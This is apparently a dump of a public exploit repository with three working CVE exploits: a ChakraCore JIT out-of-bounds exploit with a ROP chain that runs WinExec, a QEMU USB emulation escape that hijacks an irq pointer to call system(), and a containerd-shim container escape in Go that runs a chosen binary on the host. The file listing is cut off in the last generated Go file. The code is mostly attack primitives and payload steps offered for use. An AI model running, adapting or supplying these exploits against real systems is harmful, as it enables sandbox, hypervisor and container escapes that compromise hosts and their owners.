├── .gitignore ├── README.md ├── cve-2017-0234 ├── cve-2017-0234_no-cfg_Exploit.js └── x64_release │ ├── ChakraCore.dll │ └── ch.exe ├── cve-2020-14364 └── cve-2020-14364_local-exp.c └── cve-2020-15257 ├── README.md ├── go.mod ├── main.go ├── mount.go └── shim.pb.go /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Exploits 2 | CVE exploits for Web, Windows, Linux and others are independently written by Zhuri Lab 3 | -------------------------------------------------------------------------------- /cve-2017-0234/cve-2017-0234_no-cfg_Exploit.js: -------------------------------------------------------------------------------- 1 | var buffer = new ArrayBuffer(0x10000); 2 | var view = new Uint32Array(buffer); 3 | var buffer_uint = new ArrayBuffer(0x100); 4 | var uint32= new Uint32Array(buffer_uint); 5 | 6 | function write(begin, end, step, num) { 7 | for (var i = begin; i < end; i += step) view[i] = num; 8 | } 9 | 10 | //------------------------------------------------- 11 | //Step1: create arr1&arr2 and hit 12 | 13 | //Most of the time,i will be 0 or arr1 not hit 14 | //but this cycle can trigger JIT 15 | for(var i=0;i<0x800;i+=1) 16 | { 17 | var arr1=new Array(0x800); 18 | arr1[0]=0; 19 | for(var j=0;j<0x1000;j+=1) 20 | { 21 | write(0x40000000+0xe,0x40000000+0xf,1,0x12345678); 22 | } 23 | if(arr1[0]==0x12345678)//check whether arr1 successed in hitting memory 24 | { 25 | arr2=new Array(0x800); 26 | arr1.length=0xffffff00;//important for fakeview 27 | write(0x40000000+0x09,0x40000000+0x001000,0x100000,0xf0000);//JIT OOB hijack length and size of arr1 28 | write(0x40000000+0x0a,0x40000000+0x001000,0x100000,0xf0000);//Now arr1 can OOB read&write arr2 29 | break; 30 | } 31 | } 32 | if(arr2==undefined){ 33 | console.log("[INFO][cve-2017-0234_no-cfg_Exploit]>> JIT OOB defeat!") 34 | exit(); 35 | } 36 | 37 | console.log("[INFO][cve-2017-0234_no-cfg_Exploit]>> Exp Step1...") 38 | console.log("[INFO][cve-2017-0234_no-cfg_Exploit]>> arr1&2 hit success!") 39 | 40 | 41 | //now you can leak any object 42 | function getobjadd(myobj) 43 | { 44 | arr2[3]=myobj; 45 | uint32[0]=arr1[0xc06];//int to uint 46 | return (arr1[0xc07])*0x100000000+uint32[0]; 47 | } 48 | 49 | 50 | 51 | 52 | //------------------------------------------------- 53 | //Step2: fake object 54 | var buffer1 = new ArrayBuffer(0x100); 55 | var view1 = new Uint32Array(buffer1); 56 | var view2 = new Uint32Array(buffer1); 57 | var view3 = new Uint32Array(buffer1); 58 | var view4 = new Uint32Array(buffer1); 59 | var myview=new Uint32Array(); 60 | 61 | arr2[0]=buffer1;//for leak low 4Byte of buffer1 62 | arr2[1]=view2; 63 | arr2[2]=0;//make chakra think it's not undefined and hijack it 64 | for(var j=0;j<0x1000;j+=1){ 65 | write(0x40000000+0x00000d,0x40000000+0x001000,0x100000,arr1[0xc03]); 66 | write(0x40000000+0x00000c,0x40000000+0x001000,0x100000,arr1[0xc02]+0x28);//write view2+0x28 to segment.next of arr1 67 | } 68 | uint32[0]=arr1[0xc00];//leak low 4Byte of buffer1 and int to uint 69 | index=uint32[0]; 70 | for(var i=0;i<0x10;i++) { 71 | view4[i]=arr1[index+i];//Copy data of view object for faking 72 | } 73 | if(view1[0xe]>0x7fffffff){//int to uint 74 | var buma=new Int32Array(0x10); 75 | buma[0]=view4[0xe]; 76 | arr1[0xc04]=buma[0]; 77 | } 78 | else{ 79 | arr1[0xc04]=view4[0xe]; 80 | } 81 | 82 | arr1[0xc05]=view4[0xf]; 83 | myview=arr2[2];//Now we have a fake object and can hijack its buffer 84 | console.log("[INFO][cve-2017-0234_no-cfg_Exploit]>> Exp Step2...") 85 | console.log("[INFO][cve-2017-0234_no-cfg_Exploit]>> Create fake object successfully!") 86 | //now we can write/read anything anywhere 87 | function readuint32(address) 88 | { 89 | view4[0x0e]=address%0x100000000; 90 | view4[0x0f]=address/0x100000000; 91 | return myview[0]; 92 | } 93 | 94 | function writeuint32(address,num) 95 | { 96 | view4[0x0e]=address%0x100000000; 97 | view4[0x0f]=address/0x100000000; 98 | myview[0]=num; 99 | } 100 | function readuint64(address) 101 | { 102 | view4[0x0e]=address%0x100000000; 103 | view4[0x0f]=address/0x100000000; 104 | var a=myview[0]; 105 | view4[0x0e]=(address+4)%0x100000000; 106 | view4[0x0f]=(address+4)/0x100000000; 107 | return myview[0]*0x100000000+a; 108 | } 109 | 110 | 111 | 112 | function writeuint64(address,num) 113 | { 114 | var tmp=num%0x100000000 115 | writeuint32(address,tmp) 116 | writeuint32(address+4,(num-tmp)/0x100000000) 117 | 118 | } 119 | 120 | 121 | //the offest on 1903 18362.959 122 | offest_chakra_release=0x7ff9a76682a8-0x7ff9a7070000 123 | offest_kernel32_release=0x7ffa25c96a50-0x7ffa25c80000 124 | offest_ntdll_release=0x7ffa26bca640-0x7ffa26bc0000 125 | vtable_offest=0x9c8-0x870 126 | 127 | var arr1_addr=getobjadd(arr1);//the addr of arr1's vtable ptr 128 | chakracore=readuint64(arr1_addr)-offest_chakra_release 129 | kernel32=readuint64(chakracore+0x57b048)-offest_kernel32_release 130 | ntdll=readuint64(chakracore+0x57b000)-offest_ntdll_release 131 | rcx=ntdll+0x8ea7b //pop rcx; 132 | rdx_2=ntdll+0x8c437 //pop rdx;pop xxx; 133 | winexec=0xae800-0x50000+kernel32 134 | r11_to_rsp=ntdll+0x3016a //mov rsp, r11; 135 | 136 | baby = new Array(0x2000); 137 | baby_addr=getobjadd(baby) 138 | 139 | //ROP chain 140 | //WinExec("calc",1) 141 | writeuint64(arr1_addr,arr1_addr+0x200-0x10); //hijack vtable ptr of arr1 142 | writeuint64(arr1_addr+0x200-0x10+vtable_offest,r11_to_rsp); 143 | writeuint64(baby_addr+8,rcx); 144 | writeuint64(baby_addr+0x10,baby_addr+0x38); 145 | writeuint64(baby_addr+0x18,rdx_2); 146 | writeuint64(baby_addr+0x20,1); 147 | writeuint64(baby_addr+0x28,1); 148 | writeuint64(baby_addr+0x30,winexec); 149 | writeuint64(baby_addr+0x38,0x636c6163); 150 | 151 | console.log("[INFO][cve-2017-0234_no-cfg_Exploit]>> Exp Step3...") 152 | console.log("[INFO][cve-2017-0234_no-cfg_Exploit]>> Start stack pivoting and ROP!") 153 | console.log("[INFO][cve-2017-0234_no-cfg_Exploit]>> If failed,check the gadgets offests of your ntdll and kernel32.dll") 154 | console.log("[INFO][cve-2017-0234_no-cfg_Exploit]>> Exploit!") 155 | //exploit! 156 | arr1==baby; 157 | 158 | 159 | // delay 1000 = 1s 160 | function sleep(delay) { 161 | var start = new Date().getTime(); 162 | while (new Date().getTime() < start + delay) 163 | ; 164 | } 165 | //16 to 0x10 166 | function dtoh(dec) 167 | { 168 | var a="0x"+dec.toString(16) 169 | return a; 170 | } -------------------------------------------------------------------------------- /cve-2017-0234/x64_release/ChakraCore.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZhuriLab/Exploits/227bcbdb1dce2649c2e5ede55dbb107dd96ae747/cve-2017-0234/x64_release/ChakraCore.dll -------------------------------------------------------------------------------- /cve-2017-0234/x64_release/ch.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZhuriLab/Exploits/227bcbdb1dce2649c2e5ede55dbb107dd96ae747/cve-2017-0234/x64_release/ch.exe -------------------------------------------------------------------------------- /cve-2020-14364/cve-2020-14364_local-exp.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | unsigned char *mmio_mem; 20 | char *dmabuf; 21 | struct ohci_hcca *hcca; 22 | struct EHCIqtd *qtd; 23 | struct ohci_ed *ed; 24 | struct ohci_td *td; 25 | char *setup_buf; 26 | uint32_t *dmabuf32; 27 | char *td_addr; 28 | struct EHCIqh *qh; 29 | struct ohci_td *td_1; 30 | char *dmabuf_phys_addr; 31 | typedef struct USBDevice USBDevice; 32 | typedef struct USBEndpoint USBEndpoint; 33 | long long data_buf; 34 | long long irq; 35 | long long text; 36 | unsigned int *ptr; 37 | struct USBEndpoint 38 | { 39 | uint8_t nr; 40 | uint8_t pid; 41 | uint8_t type; 42 | uint8_t ifnum; 43 | int max_packet_size; 44 | int max_streams; 45 | bool pipeline; 46 | bool halted; 47 | USBDevice *dev; 48 | USBEndpoint *fd; 49 | USBEndpoint *bk; 50 | }; 51 | 52 | struct USBDevice 53 | { 54 | int32_t remote_wakeup; 55 | int32_t setup_state; 56 | int32_t setup_len; 57 | int32_t setup_index; 58 | 59 | USBEndpoint ep_ctl; 60 | USBEndpoint ep_in[15]; 61 | USBEndpoint ep_out[15]; 62 | }; 63 | 64 | typedef struct EHCIqh 65 | { 66 | uint32_t next; /* Standard next link pointer */ 67 | 68 | /* endpoint characteristics */ 69 | uint32_t epchar; 70 | 71 | /* endpoint capabilities */ 72 | uint32_t epcap; 73 | 74 | uint32_t current_qtd; /* Standard next link pointer */ 75 | uint32_t next_qtd; /* Standard next link pointer */ 76 | uint32_t altnext_qtd; 77 | 78 | uint32_t token; /* Same as QTD token */ 79 | uint32_t bufptr[5]; /* Standard buffer pointer */ 80 | 81 | } EHCIqh; 82 | typedef struct EHCIqtd 83 | { 84 | uint32_t next; /* Standard next link pointer */ 85 | uint32_t altnext; /* Standard next link pointer */ 86 | uint32_t token; 87 | 88 | uint32_t bufptr[5]; /* Standard buffer pointer */ 89 | 90 | } EHCIqtd; 91 | void die(const char *msg) 92 | { 93 | perror(msg); 94 | exit(-1); 95 | } 96 | uint64_t virt2phys(void *p) 97 | { 98 | uint64_t virt = (uint64_t)p; 99 | 100 | // Assert page alignment 101 | 102 | int fd = open("/proc/self/pagemap", O_RDONLY); 103 | if (fd == -1) 104 | die("open"); 105 | uint64_t offset = (virt / 0x1000) * 8; 106 | lseek(fd, offset, SEEK_SET); 107 | 108 | uint64_t phys; 109 | if (read(fd, &phys, 8) != 8) 110 | die("read"); 111 | // Assert page present 112 | 113 | phys = (phys & ((1ULL << 54) - 1)) * 0x1000 + (virt & 0xfff); 114 | return phys; 115 | } 116 | 117 | 118 | 119 | void mmio_write(uint32_t addr, uint32_t value) 120 | { 121 | *((uint32_t *)(mmio_mem + addr)) = value; 122 | } 123 | 124 | uint64_t mmio_read(uint32_t addr) 125 | { 126 | return *((uint64_t *)(mmio_mem + addr)); 127 | } 128 | void init() 129 | { 130 | 131 | int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC); 132 | if (mmio_fd == -1) 133 | die("mmio_fd open failed"); 134 | 135 | mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); 136 | if (mmio_mem == MAP_FAILED) 137 | die("mmap mmio_mem failed"); 138 | 139 | dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); 140 | if (dmabuf == MAP_FAILED) 141 | die("mmap"); 142 | mlock(dmabuf, 0x3000); 143 | dmabuf32 = dmabuf + 4; 144 | qtd = dmabuf + 0x200; 145 | qh = dmabuf + 0x100; 146 | setup_buf = dmabuf + 0x300; 147 | ptr = dmabuf; 148 | } 149 | void init_state() 150 | { 151 | mmio_write(0x64, 0x100); 152 | mmio_write(0x64, 0x4); 153 | qh->epchar = 0x00; 154 | qh->token = 1 << 7; 155 | qh->current_qtd = virt2phys(dmabuf + 0x200); 156 | qtd = dmabuf + 0x200; 157 | qtd->token = 1 << 7 | 2 << 8 | 8 << 16; 158 | qtd->bufptr[0] = virt2phys(dmabuf + 0x300); 159 | setup_buf[6] = 0xff; 160 | setup_buf[7] = 0x0; 161 | dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2; 162 | mmio_write(0x28, 0x0); 163 | mmio_write(0x30, 0x0); 164 | mmio_write(0x2c,0); 165 | mmio_write(0x34, virt2phys(dmabuf)); 166 | mmio_write(0x20, 0x11); 167 | } 168 | void set_length(uint16_t len, uint8_t in) 169 | { 170 | mmio_write(0x64, 0x100); 171 | mmio_write(0x64, 0x4); 172 | setup_buf[0] = in; 173 | setup_buf[6] = len & 0xff; 174 | setup_buf[7] = (len >> 8) & 0xff; 175 | qh->epchar = 0x00; 176 | qh->token = 1 << 7; 177 | qh->current_qtd = virt2phys(dmabuf + 0x200); 178 | 179 | qtd->token = 1 << 7 | 2 << 8 | 8 << 16; 180 | qtd->bufptr[0] = virt2phys(dmabuf + 0x300); 181 | dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2; 182 | mmio_write(0x28, 0x0); 183 | mmio_write(0x30, 0x0); 184 | mmio_write(0x2c,0); 185 | mmio_write(0x34, virt2phys(dmabuf)); 186 | mmio_write(0x20, 0x11); 187 | } 188 | void set_length3(uint16_t len, uint8_t in) 189 | { 190 | memset(dmabuf + 0x400, 0x61, 0x1000); 191 | mmio_write(0x64, 0x100); 192 | mmio_write(0x64, 0x4); 193 | setup_buf[0] = in; 194 | setup_buf[6] = len & 0xff; 195 | setup_buf[7] = (len >> 8) & 0xff; 196 | qh->epchar = 0x00; 197 | qh->token = 1 << 7; 198 | qh->current_qtd = virt2phys(dmabuf + 0x200); 199 | 200 | *(int *)&dmabuf[0x1304] = 0x2; 201 | *(int *)&dmabuf[0x1308] = 0x5000; 202 | *(int *)&dmabuf[0x130c] = 0xffffefe8; 203 | qtd->token = 1 << 7 | 0 << 8 | 0x1010 << 16; 204 | qtd->bufptr[0] = virt2phys(dmabuf + 0x300); 205 | qtd->bufptr[1] = virt2phys(dmabuf + 0x1300); 206 | dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2; 207 | mmio_write(0x28, 0x0); 208 | mmio_write(0x30, 0x0); 209 | mmio_write(0x2c,0); 210 | mmio_write(0x34, virt2phys(dmabuf)); 211 | mmio_write(0x20, 0x11); 212 | } 213 | void set_length4(uint16_t len, uint8_t in) 214 | { 215 | mmio_write(0x64, 0x100); 216 | mmio_write(0x64, 0x4); 217 | setup_buf[0] = in; 218 | setup_buf[6] = len & 0xff; 219 | setup_buf[7] = (len >> 8) & 0xff; 220 | qh->epchar = 0x00; 221 | qh->token = 1 << 7; 222 | qh->current_qtd = virt2phys(dmabuf + 0x200); 223 | *(int *)&dmabuf[0x1308] = 0x2; 224 | 225 | *(ptr + 1221) = 0xffffefe0 + 0x102c; 226 | *(ptr + 1221 - 2) = 2; 227 | qtd->token = 1 << 7 | 0 << 8 | 0x1018 << 16; 228 | qtd->bufptr[0] = virt2phys(dmabuf + 0x300); 229 | qtd->bufptr[1] = virt2phys(dmabuf + 0x1300); 230 | dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2; 231 | mmio_write(0x28, 0x0); 232 | mmio_write(0x30, 0x0); 233 | mmio_write(0x2c,0); 234 | mmio_write(0x34, virt2phys(dmabuf)); 235 | mmio_write(0x20, 0x11); 236 | } 237 | void set_length5(uint16_t len, uint8_t in) 238 | { 239 | mmio_write(0x64, 0x100); 240 | mmio_write(0x64, 0x4); 241 | qh->epchar = 0x00; 242 | qh->token = 1 << 7; 243 | qh->current_qtd = virt2phys(dmabuf + 0x200); 244 | qtd->token = 1 << 7 | 1 << 8 | 0x1100 << 16; 245 | qtd->bufptr[0] = virt2phys(dmabuf + 0x300); 246 | qtd->bufptr[1] = virt2phys(dmabuf + 0x1300); 247 | dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2; 248 | mmio_write(0x28, 0x0); 249 | mmio_write(0x30, 0x0); 250 | mmio_write(0x2c,0); 251 | mmio_write(0x34, virt2phys(dmabuf)); 252 | mmio_write(0x20, 0x11); 253 | } 254 | void step_2_0(uint16_t len, uint8_t in) 255 | { 256 | mmio_write(0x64, 0x100); 257 | mmio_write(0x64, 0x4); 258 | setup_buf[0] = in; 259 | qh->epchar = 0x00; 260 | qh->token = 1 << 7; 261 | qh->current_qtd = virt2phys(dmabuf + 0x200); 262 | *(int *)&dmabuf[0x1308] = 0x2; 263 | * (ptr + 1221) = 0xffffefe0 + 0xac28 - 0x951c + 8; 264 | *(ptr + 1221 - 2) = 2; 265 | qtd->token = 1 << 7 | 0 << 8 | 0x1018 << 16; 266 | qtd->bufptr[0] = virt2phys(dmabuf + 0x300); 267 | qtd->bufptr[1] = virt2phys(dmabuf + 0x1300); 268 | dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2; 269 | mmio_write(0x28, 0x0); 270 | mmio_write(0x30, 0x0); 271 | mmio_write(0x2c,0); 272 | mmio_write(0x34, virt2phys(dmabuf)); 273 | mmio_write(0x20, 0x11); 274 | } 275 | void step_3_0(uint16_t len, uint8_t in) 276 | { 277 | mmio_write(0x64, 0x100); 278 | mmio_write(0x64, 0x4); 279 | setup_buf[0] = in; 280 | qh->epchar = 0x00; 281 | qh->token = 1 << 7; 282 | qh->current_qtd = virt2phys(dmabuf + 0x200); 283 | *(int *)&dmabuf[0x1308] = 0x2; 284 | 285 | *(ptr + 1221) = 0xffffefe8 + 0x9480 - 0x951c; 286 | *(ptr + 1221 - 2) = 2; 287 | qtd->token = 1 << 7 | 0 << 8 | 0x1018 << 16; 288 | qtd->bufptr[0] = virt2phys(dmabuf + 0x300); 289 | qtd->bufptr[1] = virt2phys(dmabuf + 0x1300); 290 | dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2; 291 | mmio_write(0x28, 0x0); 292 | mmio_write(0x30, 0x0); 293 | mmio_write(0x2c,0); 294 | mmio_write(0x34, virt2phys(dmabuf)); 295 | mmio_write(0x20, 0x11); 296 | } 297 | 298 | void step_4_0(uint16_t len, uint8_t in) 299 | { 300 | mmio_write(0x64, 0x100); 301 | mmio_write(0x64, 0x4); 302 | setup_buf[0] = in; 303 | qh->epchar = 0x00; 304 | qh->token = 1 << 7; 305 | qh->current_qtd = virt2phys(dmabuf + 0x200); 306 | *(int *)&dmabuf[0x1308] = 0x2; 307 | 308 | *(ptr + 1221) = 0xffffefe8 - data_buf + irq; 309 | *(ptr + 1221 - 2) = 2; 310 | unsigned long long *ptr2; 311 | ptr2 = &dmabuf[0x400]; 312 | *(ptr2 + 1) = text + 0x71e24;//system plt 313 | *(ptr2 + 2) = data_buf + 0x120; 314 | *(ptr2 + 5) = 0x636c616378;//xcalc 315 | *(ptr2 + 6) = 0; 316 | qtd->token = 1 << 7 | 0 << 8 | 0x1018 << 16; 317 | qtd->bufptr[0] = virt2phys(dmabuf + 0x300); 318 | qtd->bufptr[1] = virt2phys(dmabuf + 0x1300); 319 | dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2; 320 | mmio_write(0x28, 0x0); 321 | mmio_write(0x30, 0x0); 322 | mmio_write(0x2c,0); 323 | mmio_write(0x34, virt2phys(dmabuf)); 324 | mmio_write(0x20, 0x11); 325 | } 326 | void step_4_1(uint16_t len, uint8_t in) 327 | { 328 | mmio_write(0x64, 0x100); 329 | mmio_write(0x64, 0x4); 330 | setup_buf[0] = in; 331 | qh->epchar = 0x00; 332 | qh->token = 1 << 7; 333 | qh->current_qtd = virt2phys(dmabuf + 0x200); 334 | *(int *)&dmabuf[0x1308] = 0x2; 335 | unsigned long long *ptr = &dmabuf[0x300]; 336 | *ptr = data_buf + 0x100; 337 | qtd->token = 1 << 7 | 0 << 8 | 0x1018 << 16; 338 | qtd->bufptr[0] = virt2phys(dmabuf + 0x300); 339 | qtd->bufptr[1] = virt2phys(dmabuf + 0x1300); 340 | dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2; 341 | mmio_write(0x28, 0x0); 342 | mmio_write(0x30, 0x0); 343 | mmio_write(0x2c,0); 344 | mmio_write(0x34, virt2phys(dmabuf)); 345 | mmio_write(0x20, 0x11); 346 | } 347 | 348 | void check() 349 | { 350 | while (mmio_read(0x20) != 0x100400080000) 351 | { 352 | printf("error:%p ", mmio_read(0x20)); 353 | usleep(100000); 354 | } 355 | } 356 | 357 | void step_init() 358 | { 359 | init_state(); 360 | check(); 361 | 362 | set_length(0x5000, 0); 363 | check(); 364 | 365 | set_length3(0x5000, 0x80); 366 | check(); 367 | return; 368 | } 369 | 370 | void step_fini() 371 | { 372 | check(); 373 | set_length5(0x5000, 0x80); 374 | check(); 375 | return; 376 | } 377 | int main() 378 | { 379 | setbuf(stdout, 0); 380 | 381 | init(); 382 | puts("Start!"); 383 | //---------------------- First Step : leak data_buf addr 384 | init_state(); 385 | check(); 386 | set_length(0x5000, 0); 387 | usleep(500000); 388 | 389 | set_length3(0x5000, 0x80); 390 | check(); 391 | set_length4(0x5000, 0x80); 392 | step_fini(); 393 | 394 | long long *ptrr = dmabuf + 0x300; 395 | data_buf = *ptrr + 0x51c - 0x430; 396 | puts("step1 over"); 397 | //---------------------- Second Step : leak text addr 398 | step_init(); 399 | step_2_0(0x5000, 0x80); 400 | step_fini(); 401 | 402 | text = *ptrr - 0x5555556a6440 + 0x555555554000; 403 | printf("text:%p\n", text); 404 | //---------------------- Third Step : leak irq addr 405 | step_init(); 406 | step_3_0(0x5000, 0x80); 407 | step_fini(); 408 | irq = *ptrr + 0xb0; 409 | printf("irq:%p\n", irq); 410 | //---------------------- Finial Step : hijack irq 411 | 412 | step_init(); 413 | step_4_0(0x5000, 0); 414 | check(); 415 | step_4_1(0x5000, 0); 416 | 417 | puts("over ,pwned?"); 418 | 419 | return 0; 420 | } -------------------------------------------------------------------------------- /cve-2020-15257/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-15257 2 | 3 | ```sh 4 | go build main.go 5 | # 将想要使宿主机执行的程序放置于 Docker的/root目录下,并命名为 exploit,然后执行 exp 6 | ``` 7 | -------------------------------------------------------------------------------- /cve-2020-15257/go.mod: -------------------------------------------------------------------------------- 1 | module moresec/containerd-cve/exploits-open/CVE-2020-15257 2 | 3 | go 1.14 4 | 5 | require ( 6 | github.com/containerd/containerd v1.4.3 7 | github.com/containerd/ttrpc v1.0.2 8 | github.com/docker/docker v1.13.1 9 | github.com/gogo/protobuf v1.3.1 10 | github.com/opencontainers/go-digest v1.0.0 // indirect 11 | ) 12 | -------------------------------------------------------------------------------- /cve-2020-15257/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "encoding/hex" 6 | "errors" 7 | "fmt" 8 | io "io" 9 | "io/ioutil" 10 | "log" 11 | "net" 12 | "os/exec" 13 | "regexp" 14 | "strings" 15 | 16 | types "github.com/containerd/containerd/api/types" 17 | "github.com/containerd/ttrpc" 18 | "github.com/docker/docker/pkg/random" 19 | ) 20 | 21 | func exp(sock string) bool { 22 | sock = strings.Replace(sock, "@", "", -1) 23 | conn, err := net.Dial("unix", "\x00"+sock) 24 | if err != nil { 25 | log.Println(err) 26 | return false 27 | } 28 | 29 | client := ttrpc.NewClient(conn) 30 | shimClient := NewShimClient(client) 31 | ctx := context.Background() 32 | 33 | containerID := getContainerID(sock) 34 | mountPath := getMountPath() 35 | exePath := fmt.Sprintf("%s/merged/root/exploit", mountPath) 36 | 37 | if mountPath == "" || exePath == "" { 38 | return false 39 | } 40 | 41 | state, err := shimClient.State(ctx, &StateRequest{ 42 | ID: containerID, 43 | }) 44 | if err != nil { 45 | log.Println("state error:", err) 46 | return false 47 | } 48 | request := CreateTaskRequest{ 49 | ID: containerID, 50 | Bundle: state.Bundle, 51 | Terminal: false, 52 | Stdin: state.Stdin, 53 | Stdout: state.Stdout, 54 | Stderr: state.Stderr, 55 | Checkpoint: "/test", 56 | ParentCheckpoint: "/", 57 | Runtime: exePath, 58 | } 59 | for _, m := range mounts { 60 | request.Rootfs = append(request.Rootfs, &types.Mount{ 61 | Type: m.Type, 62 | Source: m.Source, 63 | Target: m.Target, 64 | Options: m.Options, 65 | }) 66 | } 67 | 68 | createResponse, err := shimClient.Create(ctx, &request) 69 | if err != nil { 70 | log.Println("create error:", err) 71 | return false 72 | } 73 | fmt.Printf("create response: %v\n", createResponse) 74 | 75 | startResponse, err := shimClient.Start(ctx, &StartRequest{ 76 | ID: containerID, 77 | }) 78 | if err != nil { 79 | log.Println("start error:", err) 80 | return false 81 | } 82 | fmt.Printf("start response: %v\n", startResponse) 83 | 84 | return true 85 | } 86 | 87 | func getShimSockets() ([][]byte, error) { 88 | re, err := regexp.Compile("@/containerd-shim/.*\\.sock") 89 | if err != nil { 90 | return nil, err 91 | } 92 | data, err := ioutil.ReadFile("/proc/net/unix") 93 | matches := re.FindAll(data, -1) 94 | if matches == nil { 95 | return nil, errors.New("no socket") 96 | } 97 | return matches, nil 98 | } 99 | 100 | func generateID() string { 101 | b := make([]byte, 32) 102 | var r io.Reader = random.Reader 103 | for { 104 | if _, err := io.ReadFull(r, b); err != nil { 105 | panic(err) // This shouldn't happen 106 | } 107 | id := hex.EncodeToString(b) 108 | return id 109 | } 110 | } 111 | 112 | func getContainerID(sock string) string { 113 | re := regexp.MustCompile("/[0-9a-f]+/") 114 | containers := re.FindAllStringSubmatch(sock, -1) 115 | if len(containers) == 0 { 116 | return "" 117 | } 118 | containerID := containers[0][0] 119 | return strings.Trim(containerID, "/") 120 | } 121 | 122 | func getMountPath() string { 123 | cmd := exec.Command("mount") 124 | out, _ := cmd.CombinedOutput() 125 | re := regexp.MustCompile("upperdir=.*diff") 126 | paths := re.FindAll(out, -1) 127 | if len(paths) == 0 { 128 | return "" 129 | } 130 | path := strings.Replace(string(paths[0]), "upperdir=", "", -1) 131 | path = strings.Replace(path, "/diff", "", -1) 132 | return path 133 | } 134 | 135 | func main() { 136 | matchset := make(map[string]bool) 137 | socks, err := getShimSockets() 138 | if err != nil { 139 | log.Fatal(err) 140 | } 141 | for _, b := range socks { 142 | sockname := string(b) 143 | if _, ok := matchset[sockname]; ok { 144 | continue 145 | } 146 | log.Println("try:", sockname) 147 | matchset[sockname] = true 148 | if exp(sockname) { 149 | break 150 | } 151 | } 152 | 153 | return 154 | } 155 | -------------------------------------------------------------------------------- /cve-2020-15257/mount.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "github.com/containerd/containerd/api/types" 4 | 5 | var mounts []types.Mount 6 | 7 | func init() { 8 | 9 | mounts = []types.Mount{ 10 | { 11 | Target: "/dev", 12 | Type: "tmpfs", 13 | Source: "tmpfs", 14 | Options: []string{ 15 | "nosuid", 16 | "strictatime", 17 | "mode=755", 18 | "size=65536k", 19 | }, 20 | }, 21 | { 22 | Target: "/dev/pts", 23 | Type: "devpts", 24 | Source: "devpts", 25 | Options: []string{ 26 | "nosuid", 27 | "noexec", 28 | "newinstance", 29 | "ptmxmode=0666", 30 | "mode=0620", 31 | "gid=5", 32 | }, 33 | }, 34 | { 35 | Target: "/dev/shm", 36 | Type: "tmpfs", 37 | Source: "shm", 38 | Options: []string{ 39 | "nosuid", 40 | "noexec", 41 | "nodev", 42 | "mode=1777", 43 | "size=65536k", 44 | }, 45 | }, 46 | { 47 | Target: "/dev/mqueue", 48 | Type: "mqueue", 49 | Source: "mqueue", 50 | Options: []string{ 51 | "nosuid", 52 | "noexec", 53 | "nodev", 54 | }, 55 | }, 56 | { 57 | Target: "/sys", 58 | Type: "sysfs", 59 | Source: "sysfs", 60 | Options: []string{ 61 | "nosuid", 62 | "noexec", 63 | "nodev", 64 | "ro", 65 | }, 66 | }, 67 | // { 68 | // Target: "/sys/fs/cgroup", 69 | // Type: "cgroup", 70 | // Source: "cgroup", 71 | // Options: []string{ 72 | // "nosuid", 73 | // "noexec", 74 | // "nodev", 75 | // "relatime", 76 | // "ro", 77 | // }, 78 | // }, 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /cve-2020-15257/shim.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-gogo. DO NOT EDIT. 2 | // source: github.com/containerd/containerd/runtime/v1/shim/v1/shim.proto 3 | 4 | package main 5 | 6 | import ( 7 | context "context" 8 | fmt "fmt" 9 | types "github.com/containerd/containerd/api/types" 10 | task "github.com/containerd/containerd/api/types/task" 11 | github_com_containerd_ttrpc "github.com/containerd/ttrpc" 12 | proto "github.com/gogo/protobuf/proto" 13 | github_com_gogo_protobuf_types "github.com/gogo/protobuf/types" 14 | types1 "github.com/gogo/protobuf/types" 15 | io "io" 16 | math "math" 17 | reflect "reflect" 18 | strings "strings" 19 | time "time" 20 | ) 21 | 22 | // Reference imports to suppress errors if they are not otherwise used. 23 | var _ = proto.Marshal 24 | var _ = fmt.Errorf 25 | var _ = math.Inf 26 | var _ = time.Kitchen 27 | 28 | // This is a compile-time assertion to ensure that this generated file 29 | // is compatible with the proto package it is being compiled against. 30 | // A compilation error at this line likely means your copy of the 31 | // proto package needs to be updated. 32 | const _ = proto.GoGoProtoPackageIsVersion2 // please upgrade the proto package 33 | 34 | type CreateTaskRequest struct { 35 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 36 | Bundle string `protobuf:"bytes,2,opt,name=bundle,proto3" json:"bundle,omitempty"` 37 | Runtime string `protobuf:"bytes,3,opt,name=runtime,proto3" json:"runtime,omitempty"` 38 | Rootfs []*types.Mount `protobuf:"bytes,4,rep,name=rootfs,proto3" json:"rootfs,omitempty"` 39 | Terminal bool `protobuf:"varint,5,opt,name=terminal,proto3" json:"terminal,omitempty"` 40 | Stdin string `protobuf:"bytes,6,opt,name=stdin,proto3" json:"stdin,omitempty"` 41 | Stdout string `protobuf:"bytes,7,opt,name=stdout,proto3" json:"stdout,omitempty"` 42 | Stderr string `protobuf:"bytes,8,opt,name=stderr,proto3" json:"stderr,omitempty"` 43 | Checkpoint string `protobuf:"bytes,9,opt,name=checkpoint,proto3" json:"checkpoint,omitempty"` 44 | ParentCheckpoint string 